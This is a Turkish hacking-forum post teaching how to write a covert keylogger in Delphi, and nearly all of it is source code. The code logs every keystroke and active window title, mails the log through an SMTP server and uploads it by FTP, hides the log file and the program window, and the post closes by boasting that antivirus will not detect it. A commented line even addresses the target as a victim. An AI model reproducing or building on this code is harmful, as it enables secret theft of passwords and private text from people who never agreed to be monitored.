Hızlı Konu Açma

Hızlı Konu Açmak için tıklayınız.

Son Mesajlar

Konulardaki Son Mesajlar

Reklam

Forumda Reklam Vermek İçin Bize Ulaşın

Delphi Keylogger Kodu

BlackKey

Üye
Fenerbahçe
Kayıtlı Üye
Katılım
12 Eylül 2014
Mesajlar
167
Tepkime puanı
0
Puanları
0
Kod:
[COLOR=#B5B5B5][FONT=tahoma]Keylogger yazalım[/FONT][/COLOR] 
Keylogger yazalım Big Grin
 
Bolum 1;
Delphide bu işleri merak eden çok tanıdık var.Hatta çogu kişi bunlar için delphi ogreniyor.
Kaynak: Wardom http://www.wardom.org/showthread.php?t=239073
Kabaca bi keylogger yazalım Smile
 
Keylogger aslında kolaydır ama tabi bunu vcl kullanarak yapmak var ,kullanmadan yapmaka var iki çeşidini de gosterecem . Smile
 
vcl kullanarak (form var)
programımıza 3 timer koyuyoruz (biraz artistik olsun hem ftp bildirimi hem mail bildirimi olsun Wink )
 
biri i sadece loglamak,biri pencere başlıklarını almak,biri ftp bildirimi ,biri mail bildirimi için
şimdi de bildirimleri yapmak için ındy clients kısmından bir tane Idsmtp bir tane de IdFtp koyduk.
bir tane memo,bir tane de ipwatch;
 
yapacagımız işleri parçalara bolersek işimiz daha kolay oluır bu yuzden procedure ler ile yapcagız Wink .
(ıdsmtp ye smtp ıdftp ye ftp dedik); Smile
log, // keylogumuz
app, // baslıgımız
 
bunlar global stringler (yani en bastaki var kısmına yazılaacakBig Grin )
Kaynak: Wardom http://www.wardom.org/showthread.php?t=239073
 
 
implementation un altına yazıyoruz
 
 
 
 
function sysdir:string; //herkesin bilgisayarında windows c de kurulu olmayabilir Big Grin
var
sdir:array [0..255] of char;
fdir:string;
begin
 
GetSystemDirectory(sdir, 255);
fdir:=string(sdir);
fdir:=fdir+'\'; //soradan ugrasmayalım diyeBig Grin
Result:=fdirr;
end;
 
 
procedure mailbil;
begin
form1.smtp.port:='25'; //bilmiyorsanız ellemeyin burayı Big Grin
form1.smtp.connect();
form1.smtp.QuickSend('mx2.mail .yahoo.com','log geldi',mailadresiniz,'AgEnT[at]**************.org',memo1.line s.gettext);
end;
 
//isterseniz Idmessage ile de yapabilirsiniz ben ana hatlarını anlatıyorum gelişmeye açık Wink
 
 
 
procedure ftpbil;
var tarih:string= FormatDateTime('dd mmmm yyyy dddd - hh:nn',now);
begin
form1.ftp.host:='';//ftp hostunuz orn:ftp.members.lycos.co.uk
form1.ftp.username:='';//kullanıcı adınız
form1.ftp.password:=''; //şifreniz
form1.ftp.put(sysdir+'log.spms ',tarih+'.txt',true)
//form1.smtp.quicksend('mx2.mail .yahoo.com','ftp şifresi geldi psychoBig Grin ','PsychoS[at]gmail.com','kurban[at]**************.org',for
m1.ftp.host+form1.ftp.username +form1.ftp.password);//Big Grin Big Grin {5
70006_1}Big Grin
end;
 
 
timerlardan birinin on timer kısmına
 
 
procedure TForm1.Timer1Timer;
var
i:integer;
begin
for i:=8 To 255 do
begin
if GetAsyncKeyState(i)=-32767 then
case i of
8:log:=log+'[UNDO]';9:log:=log+'[TAB]';
13:log:=log+#13#10;27:log:=log +'[ESC]';
32:log:=log+' ';
48:if GetKeyState(VK_SHIFT)<0 then log:=log+')'
else log:=log+'0';
//...
57:if GetKeyState(VK_SHIFT)<0 then log:=log+'('
else log:=log+'9';
65..90: //a-z,A-Z
if Odd(GetKeyState(VK_CAPITAL)) then
if GetKeyState(VK_SHIFT)<0 then
log:=log+LowerCase(Chr(i))
else
log:=log+UpperCase(Chr(i))
else
if GetKeyState(VK_SHIFT)<0 then
log:=log+UpperCase(Chr(i))
else
log:=log+LowerCase(Chr(i));
//NUMPAD
97:log:=log+'1';
//...
105:log:=log+'9';
106:log:=log+'*';107:log:=log+ '&';109:log:=log+'-';
110:log:=log+'.';111:log:=log+ '/';
112..123: //F1-F12
log:=log+'[F'+IntToStr(i - 111)+']';
186:if GetKeyState(VK_SHIFT)<0 then log:=log+':'
else log:=log+';';
187:if GetKeyState(VK_SHIFT)<0 then log:=log+'+'
else log:=log+'=';
188:if GetKeyState(VK_SHIFT)<0 then log:=log+'<'
else log:=log+',';
189:if GetKeyState(VK_SHIFT)<0 then log:=log+'_'
else log:=log+'-';
190:if GetKeyState(VK_SHIFT)<0 then log:=log+'>'
else log:=log+'.';
191:if GetKeyState(VK_SHIFT)<0 then log:=log+'?'
else log:=log+'/';
192:if GetKeyState(VK_SHIFT)<0 then log:=log+'~'
else log:=log+'`';
219:if GetKeyState(VK_SHIFT)<0 then log:=log+'{'
else log:=log+'[';
220:if GetKeyState(VK_SHIFT)<0 then log:=log+'|'
else log:=log+'';
221:if GetKeyState(VK_SHIFT)<0 then log:=log+'}'
else log:=log+']';
222:if GetKeyState(VK_SHIFT)<0 then log:=log+'"'
else log:=log+'''';
end;
end;
end;
 
 
 
 
diger timerımızın ontimer kısmına da
 
procedure TForm1.Timer2Timer
var handler:THandle;
caption:array[0..80] of Char;
begin
handler:=GetForegroundWindow;
GetWindowText(handler,caption, 80);
if (caption<>app)and(caption<>'') then
begin
app:=caption;
log:=log+'['+caption+']-['+TimeToStr(Now)+']'+#13#10;
end;
end;
 
 
 
3. timerımızın interval ini kaç saniye/dakika da bir loglar teslim edilecekse ona gore ayarlıyoruz...
ontimer kısmına da
 
 
 
procedure TForm1.Timer3Timer
begin
memo1.lines.add(log);
if not (ip.localip='127.0.0.1') then begin // internet baglantısı yoksa yollamaya çalısmasın Smile
mailbil; //mail bildirme fonksiyonumuz ...
sleep(100);//kednine gelsin program Wink
memo1.lines.savetofile(sysdir+ 'log.spms');
ftpbil;// ftp bildirme fonksiyonumuz ...
log:='';//log stringini sıfıra eşitliyoruz ki aynı şey tekrar tekrar gelmesin
end;
end;
İstersek log dosyasının özelliklerini
FileSetAttr('C:\windows\deskto p\a.txt', faHidden);
şeklinde gizli yapabiliriz
 
//diğer attribute'ler
 
faReadOnly //salt okunur
faHidden //gizli
faSysFile //sistem dosyası
faArchive //arşiv
faAnyFile //salt okunur + gizli + sistem dosyası + arşiv
 
Son olarak gorulmesini istemiyorsanız project e tıklaın view source e tıklayın oraya
Application.showmainform:=fals e;
yazın,
işte bu kadarSmile [COLOR=#B5B5B5][FONT=tahoma]Antilere Yakalanmayan keyloggerımız hazır![/FONT][/COLOR]
 

Users Who Are Viewing This Konu (Users: 0, Guests: 1)

Üst